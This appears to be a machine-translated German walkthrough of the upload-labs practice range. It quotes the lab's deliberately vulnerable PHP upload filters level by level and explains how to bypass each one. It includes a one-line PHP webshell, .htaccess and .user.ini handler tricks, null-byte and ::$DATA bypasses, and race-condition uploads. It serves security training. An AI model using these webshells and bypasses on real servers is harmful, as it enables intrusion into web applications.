Inhaltsverzeichnis
Pass-03 (dieses Level muss selbst Upload-Labs erstellen)
Pass-05 (Es wird empfohlen, auf diesem Computer erstellte Upload-Labs zu verwenden)
Laden Sie zuerst .user.ini hoch
Laden Sie phpinfo.jpg erneut hoch
Mind-Mapping
Teilen von Mindmaps
Link: https://pan.baidu.com/s/1N4mvnQhawhYKRHNwJDEAMw
Extraktionscode: iu9g
Übungsplatz:
upload-labs (20 Ebenen des alten Schießstandes) 1-2 nutzt den alten Schießstand
upload-labs (neuer Schießstand 21 Level) 3-21 Level nutzen den neuen Schießstand
Notiz:
Kann <?php phpinfo();?> ausführen
Sie können <?php eval($_POST['cmd'])?> einen Trojaner mit einem Satz ausführen
Dieser Artikel verwendet <?php phpinfo();?> hauptsächlich der Einfachheit halber
Wissenspunkt
$_FILES[Name des eingereichten Formulars]
[name]: Der erhaltene Dateiname
[Typ]: Erhaltener Dateityp (MIMETYPE)
[tmp_name]: Pfad, in dem Dateien temporär gespeichert werden
[error]: Fehlermeldung zum Hochladen der Datei (wenn sie leer ist, war der Upload erfolgreich)
[Größe]: Die Größe der hochgeladenen Datei
Move_uploaded_file (die Datei, die verschoben werden muss, der Ort, an den verschoben werden soll)
Strrchr (angegebener String, übereinstimmendes Zeichen) – der Zeiger zeigt auf die Position des angegebenen Zeichens und nimmt den folgenden Wert an
Trim() -- entfernt führende und nachgestellte Leerzeichen aus einer Zeichenfolge
Rtrim() -- rechte Leerzeichen entfernen
Ltrim() -- entfernt Leerzeichen
Strtolower() – wandelt einen String in Kleinbuchstaben um
Str_ireplace --(die konvertierte Zeichenfolge, die ersetzte Zeichenfolge, die zu findende Zeichenfolge)
Suchen Sie die zu ersetzende Zeichenfolge in der zu suchenden Zeichenfolge und ersetzen Sie sie durch die angegebene Zeichenfolge
Pass-01
Code:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
Hinweis:
Dieser Pass verwendet js, um illegale Bilder auf der Client-Seite zu überprüfen!
Ideen zur Problemlösung:
Plugin installieren Javascript deaktivieren
Schreiben Sie eine aus einem Satz bestehende Trojaner-Datei shell.php
Schließen Sie die js-Upload-Datei gemäß der Aufforderung, um zu überprüfen, ob die Upload-Datei erfolgreich war
Verwenden Sie Ameisenschwert, um sich per Passwort zu verbinden
Pass-02
Wissenspunkte:
Allgemeine Klassifikation MIME TYPE
Code:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
Hinweis:
Dieser Pass prüft serverseitig den MIME des Datenpakets!
Ideen zur Problemlösung:
Trojaner schreiben
PHP-Datei hochladen
MIMETYPE umgehen
Änderungstyp der Burpsuite-Paketerfassung
Freigabepakete weiterleiten
Bildlink öffnen
Es wurde eine PHP-Datei gefunden, die den Upload durchführen kann
Pass-03 (dieses Level muss selbst Upload-Labs erstellen)
Upload-Labs-Ressourcen
Link: https://pan.baidu.com/s/1uOM7sSAFusLk-973SkZlCw
Extraktionscode: ctyl
Code:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Hinweis:
Dieser Pass verbietet das Hochladen von Dateien mit der Endung .asp|.aspx|.php|.jsp!
Ideen zur Problemlösung:
Fügen Sie Code unter der Datei httpd.conf hinzu
AddType application/x-httpd-php .php .phtml .php3 .php4
Dieser Code bedeutet, dass .php, .php3, .php4 als php-Dateien behandelt werden
phpinfo.php4 hochladen
Bildlink öffnen
Sie können die laufende PHP-Datei anzeigen
Pass-04
Code:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Hinweis:
Dieser Pass verbietet das Hochladen von .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html| .Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp |.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|. swf-Suffix-Datei!
Ideen zur Problemlösung:
Laden Sie die .htaccess-Datei hoch
Führen Sie jpg-Dateien als php-Dateien aus
<FilesMatch 'phpinfo.jpg'>
SetHandler application/x-httpd-php
</FilesMatch>
Laden Sie dann phpinfo.jpg hoch (ändern Sie das Suffix von phpinfo.php in phpinfo.jpg)
Verbindung öffnen
Pass-05 (Es wird empfohlen, auf diesem Computer erstellte Upload-Labs zu verwenden)
Upload-Labs-Ressourcen
Link: https://pan.baidu.com/s/1uOM7sSAFusLk-973SkZlCw
Extraktionscode: ctyl
Code:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Hinweis:
Im Upload-Verzeichnis befindet sich eine php-Datei (readme.php).
Ideen zur Problemlösung:
Laden Sie zuerst .user.ini hoch
Der Geltungsbereich ist der aktuelle Ordner und Unterdateien im aktuellen Ordner; enthält die angegebene Datei, die auf der Seite angezeigt wird
.user.ini-Inhalt
Auto_prepend_file=phpinfo.jpg //在页面上部显示
Auto_prepend_file=phpinfo.jpg //在页面底部部显示
Laden Sie phpinfo.jpg erneut hoch
Readme.php-Datei anzeigen
Pass-06
Code:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Hinweis:
Dieser Pass verbietet das Hochladen von .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html| .Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp |.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|. swf|.htaccess-Suffix-Datei!
Ideen zur Problemlösung:
Nach dem Vergleich mit der fünften Ebene haben wir festgestellt, dass es keinen Filterfall gibt
fehlender Code
$file_ext = strtolower($file_ext); //转换为小写
Also ändern wir die hochgeladene Dateiendung phpinfo.Php
phpinfo.php hochladen
Klicken Sie mit der rechten Maustaste, um den Link zu öffnen
Pass-07
Code:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Hinweis:
Keine führende und nachfolgende Ausblendung
fehlender Code
$file_ext = trim($file_ext); //首尾去空
Wir können den Weltraum umgehen
Ideen zur Problemlösung:
Laden Sie phpinfo.php für die BP-Erfassung hoch
Klicken Sie nach dem erfolgreichen Hochladen mit der rechten Maustaste, um den Link zu öffnen
Pass-08
Code:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Hinweis:
fehlender Code
$file_name = deldot($file_name)
Entfernen Sie nicht den Punkt nach dem Ende des Dateinamens
Machen Sie also eine Punktumgehung
Ideen zur Problemlösung:
Laden Sie die Datei phpinfo.php für die BP-Erfassung hoch
Klicken Sie nach dem erfolgreichen Hochladen mit der rechten Maustaste, um den Link zu öffnen
Pass-09
Code:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Hinweis:
fehlender Code
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
Fügen Sie ::$DATA hinzu, um das Suffix hochzuladen
::$DATA ist eine Stream-Übertragung, die die folgenden Daten als Stream behandeln kann, ähnlich wie .space
Ideen zur Problemlösung:
Laden Sie phpinfo.php für die BP-Paketerfassung hoch und ändern Sie Daten
Klicken Sie mit der rechten Maustaste, um den Link zu öffnen
Entfernen Sie ::$DATA aus der URL
Pass-10
Code:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Hinweis:
Die Funktion deldot() erkennt von hinten nach vorne und setzt ihre Erkennung fort, wenn sie den ersten Punkt am Ende erkennt, stoppt jedoch, wenn sie auf ein Leerzeichen trifft
Ideen zur Problemlösung:
Laden Sie die Datei phpinfo.php hoch, erfassen Sie das BP-Paket und ändern Sie die Daten
Öffnen Sie nach dem Hochladen der Datei den Link per E-Mail
Pass-11
Code:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Hinweis:
Der Suffix-Name der abgefangenen Datei stimmt mit dem oben deaktivierten Suffix-Namen überein. Wenn Sie dasselbe möchten, konvertieren Sie ihn in einen leeren
Alle verwenden das Doppelschreib-Suffix zum Umgehen
Ideen zur Problemlösung:
Laden Sie die Datei phpinfo.pphphp hoch
Klicken Sie nach dem erfolgreichen Hochladen mit der rechten Maustaste, um den Link zu öffnen
Pass-12
Code:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
Hinweis:
Wenn die Verarbeitung von Daten 00 erreicht, wird die Verarbeitung als abgeschlossen angesehen
PHP-Version kleiner als 5.3
Magic_quotes_gpc=Aus
Ideen zur Problemlösung:
Laden Sie die Datei phpinfo.jpg hoch und verwenden Sie BP, um Pakete zu erfassen, um die Daten zu ändern
Klicken Sie nach dem erfolgreichen Hochladen mit der rechten Maustaste, um den Link zu öffnen
Pass-13
Code:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
Hinweis:
Wenn die Verarbeitung von Daten 00 erreicht, wird die Verarbeitung als abgeschlossen angesehen
PHP-Version kleiner als 5.3
Magic_quotes_gpc=Aus
Ideen zur Problemlösung:
Laden Sie die Datei phpinfo.jpg hoch und verwenden Sie BP, um Pakete zu erfassen, um die Daten zu ändern
Ändern Sie das Leerzeichen (20) in (00) zum Abschneiden
Klicken Sie nach dem erfolgreichen Hochladen mit der rechten Maustaste, um den Link zu öffnen
Pass-14
Code:
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
Hinweis:
Die Dateikopfkennung des Bildes im Jpg-Format: FFD8 beginnt mit FFD9 und endet
Bilddatei-Header-Identifikation im Png-Format: 89 20 4E 47 0D 0A
Dateikopfkennung von Bildern im Gif-Format: GIF89a GIF87a
In diesem Level gibt es eine Dateieinschluss-Schwachstelle, Incould kann die eingeschlossene Datei als PHP-Code ausführen
Ideen zur Problemlösung:
Laden Sie phpinfo.gif hoch, erfassen Sie BP und ändern Sie Daten
Nachdem die Datei erfolgreich hochgeladen wurde, klicken Sie mit der rechten Maustaste, um den Link zu öffnen
Pass-15-17
Die Ebenen 15-17 können ausgenutzt werden, um Lücken in Dateien zu enthalten und Bildcodes hochzuladen
Code:
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
Hinweis:
Exploiting-Datei enthält Schwachstellen zum Hochladen von Bildcode
Ideen zur Problemlösung:
Bildcode erstellen
Laden Sie den generierten Bildcode 888.jpg hoch
Klicken Sie nach dem erfolgreichen Hochladen mit der rechten Maustaste, um den Link zu öffnen
Pass-18
Code:
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
Hinweis:
Nach dem Hochladen der Datei wird der Suffixname beurteilt und bei Gleichheit umbenannt. wir können bedingt Rennen fahren
Ideen zur Problemlösung:
Laden Sie Dateien für das BP-Sprengen hoch
Die hochgeladene PHP-Datei wird angezeigt, verschwindet aber schnell wieder
Pass-19
Code:
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
Hinweis:
Bestimmen Sie nach dem Hochladen der Datei den Suffixnamen, verschieben Sie die Datei, um sie umzubenennen
Apache-Parsing-Schwachstelle
1.php.zxc.zxc.zxc.zxc.zxc
Apache parst von rechts nach links, wenn er es nicht parsen kann, fahren Sie mit dem Parsen des nächsten fort
Laden Sie phpinfo.php.7z hoch
Ideen zur Problemlösung:
Laden Sie phpinfo.php.7z für BP-Blasting hoch
Datei wurde hochgeladen
Pass-20
Code:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Hinweis:
Laden Sie Dateien direkt hoch, um Leerzeichen zu umgehen
Klicken Sie mit der rechten Maustaste, um den Link nach dem Hochladen der Datei zu öffnen
Pass-21
Code:
$is_upload = false;
$msg = null;
